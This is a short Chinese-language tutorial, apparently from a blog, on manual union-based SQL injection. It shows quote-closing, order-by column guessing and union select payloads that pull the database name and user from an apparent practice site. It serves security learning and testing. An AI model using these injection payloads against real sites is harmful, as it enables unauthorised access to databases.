SQL Injection手动测试—基于union的信息获取(本文仅限于技术分享或参考)
union联合查询:
可以通过联合查询来查询指定的数据。
select username, password from user where id=1 union select 字段1,字段2 from 表名;(联合查询的字段数需要和主查询一致)
例:mysql> select id, email from member where username=‘kobe’ union select username, pw from member where id=1;
- 如果此时找到一个SQL注入漏洞,可以通过一些方法获取数据库基本信息(数据库版本,权限,对应数据库名称)
(1)通过select database();获取数据库名称:
(2)通过select user();获取当前数据库权限:
(3)通过select version();获取当前数据库版本:
- 通过SQL输入来获取数据库名称和权限等(通过字符型的注入进行演示):
(1)先构造闭合:aaaa’
(2)使用order by猜测主查询有几个字段:aaaa’ order by 5#
提交之后查看结果,第5列不存在:
再输入aaaa’ order by 3#:
提交之后查看结果,第3列不存在:
再输入aaaa’ order by 2#,发现查询语句正常执行,意味着主查询里面有两个字段:
(3)使用union做拼接:aaaa’ union select database(), user()#
将数据库名称和权限查询出来(同理也可以查版本):